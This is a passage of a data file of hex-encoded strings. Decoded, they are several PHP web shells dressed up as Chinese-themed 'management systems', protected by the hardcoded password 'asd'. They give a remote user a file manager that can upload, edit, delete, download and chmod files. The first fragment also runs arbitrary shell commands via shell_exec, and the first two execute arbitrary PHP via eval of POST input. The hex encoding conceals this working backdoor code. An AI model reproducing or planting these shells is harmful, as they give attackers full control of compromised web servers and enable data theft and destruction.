47970653d2266696c6522206e616d653d2266696c65223e0d0a20202020202020203c696e70757420747970653d227375626d6974222076616c75653d2255504c4f41442028436c617373696329223e0d0a202020203c2f666f726d3e0d0a3c2f6469763e0d0a0d0a3c7461626c653e0d0a3c74723e3c74683e4e414d453c2f74683e3c74683e53495a453c2f74683e3c74683e4d4f4449464945443c2f74683e3c74683e5045524d533c2f74683e3c74683e414354494f4e3c2f74683e3c2f74723e0d0a3c3f70687020666f726561636820282466696c6573206173202466293a203f3e0d0a3c74723e0d0a202020203c74643e0d0a20202020202020203c3f706870206966202824665b2769735f646972275d293a203f3e0d0a2020202020202020202020203c6120687265663d223f6469723d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e22207374796c653d22636f6c6f723a236666393830303b223e3c3f706870206563686f2024665b276e616d65275d3b203f3e2f3c2f613e0d0a20202020202020203c3f70687020656c73653a203f3e0d0a2020202020202020202020203c6120687265663d223f766965773d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e223e3c3f706870206563686f2024665b276e616d65275d3b203f3e3c2f613e0d0a20202020202020203c3f70687020656e6469663b203f3e0d0a202020203c2f74643e0d0a202020203c74643e3c3f706870206563686f2024665b2773697a65275d3b203f3e3c2f74643e0d0a202020203c74643e3c3f706870206563686f2024665b276d74696d65275d3b203f3e3c2f74643e0d0a202020203c74643e3c3f706870206563686f2024665b277065726d73275d3b203f3e3c2f74643e0d0a202020203c74643e0d0a20202020202020203c3f70687020696620282169735f6469722824665b2770617468275d29293a203f3e0d0a2020202020202020202020203c6120687265663d223f656469743d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e223e456469743c2f613e207c0d0a20202020202020203c3f70687020656e6469663b203f3e0d0a20202020202020203c6120687265663d223f64656c3d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e22206f6e636c69636b3d2272657475726e20636f6e6669726d2827436f6e6669726d2044656c6574653f2729223e44656c3c2f613e0d0a202020203c2f74643e0d0a3c2f74723e0d0a3c3f70687020656e64666f72656163683b203f3e0d0a3c2f7461626c653e0d0a0d0a3c212d2d20e696b0e5bbbae4b88ee689a7e8a18ce58cba202d2d3e0d0a3c64697620636c6173733d2273656374696f6e222069643d2265786563223e0d0a202020203c68333ef09f92bb204558454320434f4d4d414e443c2f68333e0d0a202020203c666f726d206d6574686f643d22706f7374223e0d0a20202020202020203c696e70757420747970653d227465787422206e616d653d22636d6422207374796c653d2277696474683a3630253b2220706c616365686f6c6465723d2277686f616d69202f206c73202d6c61223e0d0a20202020202020203c696e70757420747970653d227375626d6974222076616c75653d2245584543223e0d0a202020203c2f666f726d3e0d0a202020203c3f706870206966202821656d70747928245f504f53545b27636d64275d29293a203f3e3c70726520636c6173733d22707265223e3c3f706870206563686f2068746d6c7370656369616c6368617273287368656c6c5f6578656328245f504f53545b27636d64275d202e202720323e26312729293b203f3e3c2f7072653e3c3f70687020656e6469663b203f3e0d0a3c2f6469763e0d0a0d0a3c64697620636c6173733d2273656374696f6e222069643d226576616c223e0d0a202020203c68333ef09fa7aa204556414c20434f44453c2f68333e0d0a202020203c666f726d206d6574686f643d22706f7374223e0d0a20202020202020203c7465787461726561206e616d653d227068705f636f646522207374796c653d2277696474683a313030253b6865696768743a31303070783b2220706c616365686f6c6465723d226563686f202748656c6c6f273b223e3c3f706870206563686f20245f504f53545b277068705f636f6465275d203f3f2027273b203f3e3c2f74657874617265613e3c62723e3c62723e0d0a20202020202020203c696e70757420747970653d227375626d6974222076616c75653d2252554e223e0d0a202020203c2f666f726d3e0d0a202020203c3f706870206966202821656d70747928245f504f53545b277068705f636f6465275d29293a203f3e0d0a20202020202020203c70726520636c6173733d22707265223e0d0a20202020202020203c3f7068700d0a20202020202020206f625f737461727428293b0d0a2020202020202020747279207b206576616c28245f504f53545b277068705f636f6465275d293b207d20636174636820285468726f7761626c6520246529207b206563686f20224572726f723a2022202e2024652d3e6765744d65737361676528293b207d0d0a20202020202020206563686f2068746d6c7370656369616c6368617273286f625f6765745f636c65616e2829293b0d0a20202020202020203f3e0d0a20202020202020203c2f7072653e0d0a202020203c3f70687020656e6469663b203f3e0d0a3c2f6469763e0d0a0d0a3c2f626f64793e0d0a3c2f68746d6c3e","3c3f7068700d0a2f2a203d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d0d0a202020f09f8fb920e4b889e59bbdc2b7e5869be5b888e5ba9ce7aea1e79086e7b3bbe7bb9f0d0a2020203d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d202a2f0d0a73657373696f6e5f737461727428293b0d0a6572726f725f7265706f7274696e672830293b0d0a696e695f7365742827646973706c61795f6572726f7273272c2030293b0d0a0d0a2f2a202d2d2d2d20312e20e8998ee7aca6e9aa8ce8af81202d2d2d2d202a2f0d0a646566696e65282748555f4655272c202761736427293b0d0a0d0a69662028697373657428245f4745545b276c6f676f7574275d2929207b2073657373696f6e5f64657374726f7928293b2068656164657228274c6f636174696f6e3a203f27293b20657869743b207d0d0a69662028697373657428245f504f53545b27746f6b656e275d2929207b0d0a20202020245f504f53545b27746f6b656e275d203d3d3d2048555f4655203f20245f53455353494f4e5b2761757468275d203d2031203a206e756c6c3b0d0a2020202068656164657228274c6f636174696f6e3a203f27293b20657869743b0d0a7d0d0a6966202821697373657428245f53455353494f4e5b2761757468275d2929207b0d0a202020206563686f20273c21444f43545950452068746d6c3e3c68746d6c3e3c686561643e3c6d65746120636861727365743d225554462d38223e3c7469746c653ee8998ee7aca6e9aa8ce8af813c2f7469746c653e3c7374796c653e0d0a20202020626f64797b6261636b67726f756e643a233161316131613b636f6c6f723a236339613935393b666f6e742d66616d696c793a224b61695469222c2253544b61697469222c73657269663b646973706c61793a666c65783b6a7573746966792d636f6e74656e743a63656e7465723b616c69676e2d6974656d733a63656e7465723b6865696768743a31303076683b6d617267696e3a303b7d0d0a202020202e626f787b626f726465723a32707820736f6c696420233862343531333b70616464696e673a353070783b746578742d616c69676e3a63656e7465723b6261636b67726f756e643a726762612832362c32362c32362c2e39293b7d0d0a2020202068317b6c65747465722d73706163696e673a313570783b6d617267696e2d626f74746f6d3a333070783b7d0d0a20202020696e7075747b6261636b67726f756e643a233030303b636f6c6f723a236339613935393b626f726465723a31707820736f6c696420233862343531333b70616464696e673a313270783b77696474683a32383070783b746578742d616c69676e3a63656e7465723b7d0d0a20202020627574746f6e7b6d617267696e2d746f703a323070783b70616464696e673a3132707820343070783b6261636b67726f756e643a233862343531333b636f6c6f723a236666663b626f726465723a6e6f6e653b666f6e742d7765696768743a626f6c643b637572736f723a706f696e7465723b7d0d0a202020203c2f7374796c653e3c2f686561643e3c626f64793e3c64697620636c6173733d22626f78223e3c68313ef09f949220e8998ee7aca6e9aa8ce8af813c2f68313e0d0a202020203c666f726d206d6574686f643d22706f7374223e3c696e707574206e616d653d22746f6b656e2220747970653d2270617373776f72642220706c616365686f6c6465723d22e8be93e585a5e8998ee7aca622206175746f666f6375733e3c62723e0d0a202020203c627574746f6e20747970653d227375626d6974223ee9aa8c20e8af813c2f627574746f6e3e3c2f666f726d3e3c2f6469763e3c2f626f64793e3c2f68746d6c3e273b0d0a20202020657869743b0d0a7d0d0a0d0a2f2a202d2d2d2d20322e20e6a0b8e5bf83e980bbe8be91e5a484e79086202d2d2d2d202a2f0d0a24637572203d20697373657428245f4745545b27646972275d29203f207265616c7061746828245f4745545b27646972275d29203a207265616c7061746828272e27293b0d0a696620282124637572207c7c202169735f646972282463757229292024637572203d207265616c7061746828272e27293b0d0a24637572203d20727472696d28246375722c204449524543544f52595f534550415241544f5229202e204449524543544f52595f534550415241544f523b0d0a246d7367203d2027273b0d0a0d0a2f2a20e4b88ae4bca0202a2f0d0a69662028697373657428245f504f53545b27616374696f6e275d2920262620245f504f53545b27616374696f6e275d203d3d202775706c6f6164272026262021656d70747928245f46494c45535b2766696c65275d2929207b0d0a202020202464657374203d2024637572202e20626173656e616d6528245f46494c45535b2766696c65275d5b276e616d65275d293b0d0a20202020406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2766696c65275d5b27746d705f6e616d65275d2c202464657374293b0d0a202020206966202821656d70747928245f5345525645525b27485454505f585f5245515545535445445f57495448275d2929207b206563686f2022e4b88ae4bca0e68890e58a9f223b20657869743b207d0d0a7d0d0a0d0a2f2a20e696b0e5bbba202a2f0d0a69662028697373657428245f504f53545b27616374696f6e275d2920262620245f504f53545b27616374696f6e275d203d3d20276d6b646972272920406d6b6469722824637572202e20245f504f53545b276e616d65275d29203f20246d7367203d2022f09f938120e59f8ee6b1a0e5b7b2e5bbba22203a20246d7367203d2022e5a4b1e8b4a5223b0d0a69662028697373657428245f504f53545b27616374696f6e275d2920262620245f504f53545b27616374696f6e275d203d3d20276d6b66696c652729204066696c655f7075745f636f6e74656e74732824637572202e20245f504f53545b276e616d65275d2c20272729203f20246d7367203d2022f09f938420e6aa84e69687e5b7b2e68b9f22203a20246d7367203d2022e5a4b1e8b4a5223b0d0a0d0a2f2a20e588a0e999a4202a2f0d0a69662028697373657428245f4745545b2764656c275d2929207b0d0a202020202474203d20245f4745545b2764656c275d3b0d0a2020202069735f66696c6528247429203f2040756e6c696e6b28247429203a2040726d646972282474293b0d0a20202020246d7367203d2022f09f9791efb88f20e5b7b2e7849ae6af81223b0d0a7d0d0a0d0a2f2a20e9878de591bde5908d202a2f0d0a69662028697373657428245f504f53545b27616374696f6e275d2920262620245f504f53545b27616374696f6e275d203d3d202772656e616d652729207b0d0a202020204072656e616d6528245f504f53545b276f6c64275d2c20245f504f53545b276e6577275d29203f20246d7367203d2022e29c8520e69bb4e5908de68890e58a9f22203a20246d7367203d2022e69bb4e5908de5a4b1e8b4a5223b0d0a7d0d0a0d0a2f2a20e69d83e99990e4bfaee694b9202a2f0d0a69662028697373657428245f504f53545b27616374696f6e275d2920262620245f504f53545b27616374696f6e275d203d3d202763686d6f642729207b0d0a202020204063686d6f6428245f504f53545b2766696c65275d2c206f637464656328245f504f53545b276d6f6465275d2929203f20246d7367203d2022f09f949020e69d83e99990e5b7b2e694b922203a20246d7367203d2022e69d83e99990e5a4b1e8b4a5223b0d0a7d0d0a0d0a2f2a20e7bc96e8be91e4bf9de5ad98202a2f0d0a69662028697373657428245f504f53545b27616374696f6e275d2920262620245f504f53545b27616374696f6e275d203d3d2027736176652729207b0d0a202020204066696c655f7075745f636f6e74656e747328245f504f53545b2766696c65275d2c20245f504f53545b27636f6e74656e74275d29203f20246d7367203d2022f09f92be20e5b7b2e5ad98e6a1a322203a20246d7367203d2022e5ad98e6a1a3e5a4b1e8b4a5223b0d0a7d0d0a0d0a2f2a20e69687e4bbb6e58897e8a1a8202a2f0d0a2466696c6573203d205b5d3b0d0a69662028246468203d20406f70656e64697228246375722929207b0d0a202020207768696c652028282466203d207265616464697228246468292920213d3d2066616c736529207b0d0a2020202020202020696620282466203d3d20272e272920636f6e74696e75653b0d0a2020202020202020246670203d2024637572202e2024663b0d0a20202020202020202466696c65735b5d203d205b276e616d65273d3e24662c202770617468273d3e2466702c202769735f646972273d3e69735f64697228246670292c200d0a20202020202020202020202020202020202020202773697a65273d3e69735f64697228246670293f272d273a726f756e642866696c6573697a6528246670292f313032342c32292e27204b42272c200d0a2020202020202020202020202020202020202020277065726d73273d3e73756273747228737072696e74662827256f272c2066696c657065726d732824667029292c202d34295d3b0d0a202020207d0d0a20202020636c6f736564697228246468293b0d0a7d0d0a75736f7274282466696c65732c20666e2824612c246229203d3e2024615b2769735f646972275d203d3d2024625b2769735f646972275d203f207374726e617463617365636d702824615b276e616d65275d2c24625b276e616d65275d29203a202824615b2769735f646972275d203f202d31203a203129293b0d0a3f3e0d0a3c21444f43545950452068746d6c3e0d0a3c68746d6c206c616e673d227a68223e0d0a3c686561643e0d0a3c6d65746120636861727365743d225554462d38223e0d0a3c7469746c653ee4b889e59bbdc2b7e5869be5b888e5ba9c3c2f7469746c653e0d0a3c7374796c653e0d0a626f6479207b20666f6e742d66616d696c793a20224b61695469222c202253544b61697469222c2073657269663b206261636b67726f756e643a20233161316131613b20636f6c6f723a20236339613935393b206d617267696e3a20313070783b207d0d0a2e686561646572207b206261636b67726f756e643a206c696e6561722d6772616469656e742839306465672c20233261316131612c2023316131613161293b20626f726465723a2031707820736f6c696420233862343531333b2070616464696e673a20313070783b206d617267696e2d626f74746f6d3a20313070783b207d0d0a2e6e6176207b206261636b67726f756e643a20233261326132613b2070616464696e673a203870783b206d617267696e2d626f74746f6d3a20313070783b20646973706c61793a20666c65783b206761703a20313570783b207d0d0a2e6e61762061207b20636f6c6f723a20236339613935393b20746578742d6465636f726174696f6e3a206e6f6e653b207d0d0a2e6e617620612e6c6f676f7574207b206d617267696e2d6c6566743a206175746f3b20636f6c6f723a20236138333233323b207d0d0a2e73656374696f6e207b206261636b67726f756e643a20233261326132613b20626f726465723a2031707820736f6c696420233434343b2070616464696e673a20313570783b206d617267696e2d746f703a20313570783b207d0d0a7461626c65207b2077696474683a20313030253b20626f726465722d636f6c6c617073653a20636f6c6c617073653b207d0d0a74682c207464207b2070616464696e673a203870783b20626f726465723a2031707820736f6c696420233434343b207d0d0a7468207b206261636b67726f756e643a20233361336133613b207d0d0a74723a686f766572207b206261636b67726f756e643a20233333333b207d0d0a696e7075742c2074657874617265612c2073656c656374207b206261636b67726f756e643a20233161316131613b20636f6c6f723a20236339613935393b20626f726465723a2031707820736f6c696420233535353b2070616464696e673a203570783b207d0d0a696e7075745b747970653d227375626d6974225d2c20627574746f6e207b206261636b67726f756e643a20233862343531333b20636f6c6f723a20236666663b20626f726465723a206e6f6e653b2070616464696e673a2036707820313570783b20637572736f723a20706f696e7465723b207d0d0a2e6d7367207b20636f6c6f723a20233463616635303b20666f6e742d7765696768743a20626f6c643b207d0d0a3c2f7374796c653e0d0a3c7363726970743e0d0a66756e6374696f6e20616a617855706c6f61642829207b0d0a202020206c6574206664203d206e657720466f726d4461746128293b0d0a2020202066642e617070656e642827616374696f6e272c202775706c6f616427293b0d0a2020202066642e617070656e64282766696c65272c20646f63756d656e742e676574456c656d656e7442794964282766696c6527292e66696c65735b305d293b0d0a2020202066657463682827272c207b6d6574686f643a27504f5354272c20626f64793a2066647d292e7468656e28723d3e722e746578742829292e7468656e28743d3e616c657274287429293b0d0a7d0d0a3c2f7363726970743e0d0a3c2f686561643e0d0a3c626f64793e0d0a0d0a3c64697620636c6173733d22686561646572223e0d0a202020203c7374726f6e673ef09f8fb920e5bd93e5898de99a98e58fa3efbc9a3c2f7374726f6e673e203c3f706870206563686f20246375723b203f3e207c0d0a202020203c7374726f6e673ee29a94efb88f20e5a4a7e5b086efbc9a3c2f7374726f6e673e203c3f706870206563686f206765745f63757272656e745f7573657228293b203f3e207c0d0a202020203c7374726f6e673ef09f9ba1efb88f20504850efbc9a3c2f7374726f6e673e203c3f706870206563686f2070687076657273696f6e28293b203f3e0d0a3c2f6469763e0d0a0d0a3c64697620636c6173733d226e6176223e0d0a202020203c6120687265663d223f6469723d3c3f706870206563686f2075726c656e636f6465286469726e616d65282463757229293b203f3e223e5b20e59b9ee890a5205d3c2f613e0d0a202020203c6120687265663d222375706c6f6164223e5b20e7bab3e7b2ae205d3c2f613e0d0a202020203c6120687265663d22236576616c223e5b20e994a6e59b8a205d3c2f613e0d0a202020203c6120687265663d223f6c6f676f75743d312220636c6173733d226c6f676f7574223e5b20e692a4e585b5205d3c2f613e0d0a3c2f6469763e0d0a0d0a3c3f7068702069662028246d7367293a203f3e3c7020636c6173733d226d7367223e3c3f706870206563686f20246d73673b203f3e3c2f703e3c3f70687020656e6469663b203f3e0d0a0d0a3c64697620636c6173733d2273656374696f6e222069643d2275706c6f6164223e0d0a202020203c68333ef09f93a620e7bab3e7b2aee585a5e5ba932028e4b88ae4bca0293c2f68333e0d0a202020203c696e70757420747970653d2266696c65222069643d2266696c65223e203c627574746f6e206f6e636c69636b3d22616a617855706c6f61642829223e414a415820e9809fe980923c2f627574746f6e3e0d0a202020203c666f726d206d6574686f643d22706f73742220656e63747970653d226d756c7469706172742f666f726d2d6461746122207374796c653d226d617267696e2d746f703a313070783b223e0d0a20202020202020203c696e70757420747970653d2268696464656e22206e616d653d22616374696f6e222076616c75653d2275706c6f6164223e0d0a20202020202020203c696e70757420747970653d2266696c6522206e616d653d2266696c65223e203c696e70757420747970653d227375626d6974222076616c75653d22e4bca0e7bb9fe585a5e5ba93223e0d0a202020203c2f666f726d3e0d0a3c2f6469763e0d0a0d0a3c7461626c653e0d0a3c74723e3c74683ee5908de7a7b03c2f74683e3c74683ee5a4a7e5b08f3c2f74683e3c74683ee69d83e999903c2f74683e3c74683ee6938de4bd9c3c2f74683e3c2f74723e0d0a3c3f70687020666f726561636820282466696c6573206173202466293a203f3e0d0a3c74723e0d0a202020203c74643e0d0a20202020202020203c3f706870206966202824665b2769735f646972275d293a203f3e0d0a2020202020202020202020203c6120687265663d223f6469723d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e22207374796c653d22636f6c6f723a236364383533663b223e3c3f706870206563686f2024665b276e616d65275d3b203f3e2f3c2f613e0d0a20202020202020203c3f70687020656c73653a203f3e0d0a2020202020202020202020203c6120687265663d223f766965773d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e223e3c3f706870206563686f2024665b276e616d65275d3b203f3e3c2f613e0d0a20202020202020203c3f70687020656e6469663b203f3e0d0a202020203c2f74643e0d0a202020203c74643e3c3f706870206563686f2024665b2773697a65275d3b203f3e3c2f74643e0d0a202020203c74643e3c3f706870206563686f2024665b277065726d73275d3b203f3e3c2f74643e0d0a202020203c74643e0d0a20202020202020203c3f70687020696620282169735f6469722824665b2770617468275d29293a203f3e0d0a2020202020202020202020203c6120687265663d223f656469743d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e223ee7bc96e8be913c2f613e207c200d0a2020202020202020202020203c6120687265663d223f646f776e6c6f61643d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e223ee4b88be8bdbd3c2f613e207c0d0a20202020202020203c3f70687020656e6469663b203f3e0d0a20202020202020203c6120687265663d223f72656e616d653d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e223ee69bb4e5908d3c2f613e207c0d0a20202020202020203c6120687265663d223f64656c3d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e22206f6e636c69636b3d2272657475726e20636f6e6669726d2827e7a1aee5ae9ae99480e6af81efbc9f2729223ee99480e6af813c2f613e207c0d0a20202020202020203c6120687265663d223f63686d6f643d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e223ee69d83e999903c2f613e0d0a202020203c2f74643e0d0a3c2f74723e0d0a3c3f70687020656e64666f72656163683b203f3e0d0a3c2f7461626c653e0d0a0d0a3c3f706870200d0a2f2a202d2d2d20e8a786e59bbeefbc9ae4b88be8bdbd202d2d2d202a2f0d0a69662028697373657428245f4745545b27646f776e6c6f6164275d2929207b0d0a202020202466203d20245f4745545b27646f776e6c6f6164275d3b0d0a202020206966202869735f66696c652824662929207b0d0a20202020202020206865616465722827436f6e74656e742d4465736372697074696f6e3a2046696c65205472616e7366657227293b0d0a20202020202020206865616465722827436f6e74656e742d547970653a206170706c69636174696f6e2f6f637465742d73747265616d27293b0d0a20202020202020206865616465722827436f6e74656e742d446973706f736974696f6e3a206174746163686d656e743b2066696c656e616d653d22272e626173656e616d65282466292e272227293b0d0a20202020202020207265616466696c65282466293b0d0a2020202020202020657869743b0d0a202020207d0d0a7d0d0a0d0a2f2a202d2d2d20e8a786e59bbeefbc9ae7bc96e8be91202d2d2d202a2f0d0a69662028697373657428245f4745545b2765646974275d2929207b0d0a202020202466203d20245f4745545b2765646974275d3b0d0a202020206966202869735f66696c652824662929207b0d0a20202020202020206563686f20273c64697620636c6173733d2273656374696f6e223e3c68333ef09f939d20e689b9e99885efbc9a272e626173656e616d65282466292e273c2f68333e273b0d0a20202020202020206563686f20273c666f726d206d6574686f643d22706f7374223e3c696e70757420747970653d2268696464656e22206e616d653d22616374696f6e222076616c75653d2273617665223e273b0d0a20202020202020206563686f20273c696e70757420747970653d2268696464656e22206e616d653d2266696c65222076616c75653d22272e24662e27223e273b0d0a20202020202020206563686f20273c7465787461726561206e616d653d22636f6e74656e7422207374796c653d2277696474683a313030253b6865696768743a33303070783b223e272e68746d6c7370656369616c63686172732866696c655f6765745f636f6e74656e747328246629292e273c2f74657874617265613e3c62723e3c62723e273b0d0a20202020202020206563686f20273c696e70757420747970653d227375626d6974222076616c75653d22e4bf9de5ad98223e3c2f666f726d3e3c2f6469763e273b0d0a202020207d0d0a7d0d0a0d0a2f2a202d2d2d20e8a786e59bbeefbc9ae9878de591bde5908d202d2d2d202a2f0d0a69662028697373657428245f4745545b2772656e616d65275d2929207b0d0a20202020246f6c64203d20245f4745545b2772656e616d65275d3b0d0a202020206563686f20273c64697620636c6173733d2273656374696f6e223e3c68333ee29c92efb88f20e69bb4e5908d3c2f68333e273b0d0a202020206563686f20273c666f726d206d6574686f643d22706f7374223e3c696e70757420747970653d2268696464656e22206e616d653d22616374696f6e222076616c75653d2272656e616d65223e273b0d0a202020206563686f20273c696e70757420747970653d2268696464656e22206e616d653d226f6c64222076616c75653d22272e246f6c642e27223e273b0d0a202020206563686f20273c696e70757420747970653d227465787422206e616d653d226e6577222076616c75653d22272e626173656e616d6528246f6c64292e27222072657175697265643e20273b0d0a202020206563686f20273c696e70757420747970653d227375626d6974222076616c75653d22e7a1aee8aea4e69bb4e5908d223e3c2f666f726d3e3c2f6469763e273b0d0a7d0d0a0d0a2f2a202d2d2d20e8a786e59bbeefbc9ae69d83e99990e4bfaee694b9202d2d2d202a2f0d0a69662028697373657428245f4745545b2763686d6f64275d2929207b0d0a202020202466203d20245f4745545b2763686d6f64275d3b0d0a202020206563686f20273c64697620636c6173733d2273656374696f6e223e3c68333ef09f949020e69d83e99990e8aebee7bdae3c2f68333e273b0d0a202020206563686f20273c666f726d206d6574686f643d22706f7374223e3c696e70757420747970653d2268696464656e22206e616d653d22616374696f6e222076616c75653d2263686d6f64223e273b0d0a202020206563686f20273c696e70757420747970653d2268696464656e22206e616d653d2266696c65222076616c75653d22272e24662e27223e273b0d0a202020206563686f20273c73656c656374206e616d653d226d6f6465223e3c6f7074696f6e2076616c75653d2230363434223e303634343c2f6f7074696f6e3e3c6f7074696f6e2076616c75653d2230373535223e303735353c2f6f7074696f6e3e3c6f7074696f6e2076616c75653d2230373737223e303737373c2f6f7074696f6e3e3c2f73656c6563743e20273b0d0a202020206563686f20273c696e70757420747970653d227375626d6974222076616c75653d22e8aebee7bdae223e3c2f666f726d3e3c2f6469763e273b0d0a7d0d0a3f3e0d0a0d0a3c64697620636c6173733d2273656374696f6e222069643d226576616c223e0d0a202020203c68333ef09f8eaf20e994a6e59b8ae5a699e8aea120284576616c293c2f68333e0d0a202020203c666f726d206d6574686f643d22706f7374223e0d0a20202020202020203c7465787461726561206e616d653d22636f646522207374796c653d2277696474683a313030253b6865696768743a31303070783b2220706c616365686f6c6465723d226563686f2027e781abe783a7e8b5a4e5a381273b223e3c3f706870206563686f20245f504f53545b27636f6465275d203f3f2027273b203f3e3c2f74657874617265613e3c62723e3c62723e0d0a20202020202020203c696e70757420747970653d227375626d6974222076616c75653d22e689a7e8a18c223e0d0a202020203c2f666f726d3e0d0a202020203c3f706870206966202821656d70747928245f504f53545b27636f6465275d29293a203f3e0d0a20202020202020203c707265207374796c653d226261636b67726f756e643a233030303b70616464696e673a313070783b6d617267696e2d746f703a313070783b223e3c3f706870206576616c28245f504f53545b27636f6465275d293b203f3e3c2f7072653e0d0a202020203c3f70687020656e6469663b203f3e0d0a3c2f6469763e0d0a0d0a3c2f626f64793e0d0a3c2f68746d6c3e","3c3f7068700d0a2f2a203d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d0d0a202020f09f94b420e6b0b4e6b592e4bca020c2b720e8819ae4b989e58e85e7aea1e79086e7b3bbe7bb9f0d0a2020203d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d202a2f0d0a73657373696f6e5f737461727428293b0d0a6572726f725f7265706f7274696e672830293b0d0a696e695f7365742827646973706c61795f6572726f7273272c2030293b0d0a0d0a2f2a202d2d2d2d20312e20e799bbe5bd95e9aa8ce8af81202d2d2d2d202a2f0d0a646566696e65282750415353272c202761736427293b0d0a0d0a69662028697373657428245f4745545b276c6f676f7574275d2929207b2073657373696f6e5f64657374726f7928293b2068656164657228274c6f636174696f6e3a203f27293b20657869743b207d0d0a69662028697373657428245f504f53545b27707764275d2929207b0d0a2020202069662028245f504f53545b27707764275d203d3d3d20504153532920245f53455353494f4e5b2761757468275d203d20313b0d0a2020202068656164657228274c6f636174696f6e3a203f27293b20657869743b0d0a7d0d0a6966202821697373657428245f53455353494f4e5b2761757468275d2929207b0d0a202020206563686f20273c21444f43545950452068746d6c3e3c68746d6c3e3c686561643e3c6d65746120636861727365743d225554462d38223e3c7469746c653ee5bfa0e4b989e5a0823c2f7469746c653e3c7374796c653e0d0a20202020626f64797b6261636b67726f756e643a233161303030303b636f6c6f723a236339613935393b666f6e742d66616d696c793a224b61695469222c2253544b61697469222c73657269663b646973706c61793a666c65783b6a7573746966792d636f6e74656e743a63656e7465723b616c69676e2d6974656d733a63656e7465723b6865696768743a31303076683b6d617267696e3a303b7d0d0a202020202e626f787b626f726465723a32707820736f6c696420233862303030303b70616464696e673a353070783b746578742d616c69676e3a63656e7465723b6261636b67726f756e643a726762612832362c302c302c2e39293b7d0d0a2020202068317b6c65747465722d73706163696e673a313570783b6d617267696e2d626f74746f6d3a333070783b7d0d0a20202020696e7075747b6261636b67726f756e643a233030303b636f6c6f723a236339613935393b626f726465723a31707820736f6c696420233862303030303b70616464696e673a313270783b77696474683a32383070783b746578742d616c69676e3a63656e7465723b7d0d0a20202020627574746f6e7b6d617267696e2d746f703a323070783b70616464696e673a3132707820343070783b6261636b67726f756e643a233862303030303b636f6c6f723a236666663b626f726465723a6e6f6e653b666f6e742d7765696768743a626f6c643b637572736f723a706f696e7465723b7d0d0a202020203c2f7374796c653e3c2f686561643e3c626f64793e3c64697620636c6173733d22626f78223e3c68313ef09f949220e5bfa0e4b989e5a0823c2f68313e0d0a202020203c666f726d206d6574686f643d22706f7374223e3c696e707574206e616d653d227077642220747970653d2270617373776f72642220706c616365686f6c6465723d22e8be93e585a5e58fa3e4bba422206175746f666f6375733e3c62723e0d0a202020203c627574746f6e20747970653d227375626d6974223ee8bf9b20e585a53c2f627574746f6e3e3c2f666f726d3e3c2f6469763e3c2f626f64793e3c2f68746d6c3e273b0d0a20202020657869743b0d0a7d0d0a0d0a2f2a202d2d2d2d20322e20e8b7afe5be84e4b88ee59fbae7a180e58f98e9878f202d2d2d2d202a2f0d0a24637572203d20697373657428245f4745545b27646972275d29203f207265616c7061746828245f4745545b27646972275d29203a207265616c7061746828272e27293b0d0a696620282124637572207c7c202169735f646972282463757229292024637572203d207265616c7061746828272e27293b0d0a24637572203d20727472696d28246375722c204449524543544f52595f534550415241544f5229202e204449524543544f52595f534550415241544f523b0d0a246d7367203d2027273b0d0a0d0a2f2a202d2d2d2d20332e20e6a0b8e5bf83e980bbe8be91e5a484e79086202d2d2d2d202a2f0d0a0d0a2f2f20412e20e69687e4bbb62fe79baee5bd95e6938de4bd9c0d0a69662028697373657428245f504f53545b27616374696f6e275d2929207b0d0a202020207377697463682028245f504f53545b27616374696f6e275d29207b0d0a20202020202020206361736520276d6b646972273a0d0a202020202020202020202020406d6b6469722824637572202e20245f504f53545b276e616d65275d29203f20246d7367203d2022f09f938120e5b1b1e5afa8e5b7b2e7ab8b22203a20246d7367203d2022e5a4b1e8b4a5223b0d0a202020202020202020202020627265616b3b0d0a20202020202020206361736520276d6b66696c65273a0d0a2020202020202020202020204066696c655f7075745f636f6e74656e74732824637572202e20245f504f53545b276e616d65275d2c2027272920213d3d2066616c7365203f20246d7367203d2022f09f938420e6a69ce69687e5b7b2e58f9122203a20246d7367203d2022e5a4b1e8b4a5223b0d0a202020202020202020202020627265616b3b0d0a202020202020202063617365202765646974273a0d0a2020202020202020202020204066696c655f7075745f636f6e74656e747328245f504f53545b2766696c6570617468275d2c20245f504f53545b27636f6e74656e74275d2920213d3d2066616c7365203f20246d7367203d2022f09f92be20e5b7b2e5bd92e6a1a322203a20246d7367203d2022e5a4b1e8b4a5223b0d0a202020202020202020202020627265616b3b0d0a202020202020202063617365202772656e616d65273a0d0a2020202020202020202020204072656e616d6528245f504f53545b276f6c64275d2c20245f504f53545b276e6577275d29203f20246d7367203d2022e29c92efb88f20e69bb4e5908de68890e58a9f22203a20246d7367203d2022e5a4b1e8b4a5223b0d0a202020202020202020202020627265616b3b0d0a202020202020202063617365202763686d6f64273a0d0a2020202020202020202020204063686d6f6428245f504f53545b2766696c65275d2c206f637464656328245f504f53545b276d6f6465275d2929203f20246d7367203d2022f09f949020e69d83e99990e5b7b2e694b922203a20246d7367203d2022e5a4b1e8b4a5223b0d0a202020202020202020202020627265616b3b0d0a202020202020202063617365202775706c6f6164273a0d0a2020202020202020202020206966202821656d70747928245f46494c45535b2766696c65275d2929207b0d0a202020202020202020202020202020206d6f76655f75706c6f616465645f66696c6528245f46494c45535b2766696c65275d5b27746d705f6e616d65275d2c2024637572202e20626173656e616d6528245f46494c45535b2766696c65275d5b276e616d65275d29293b0d0a2020202020202020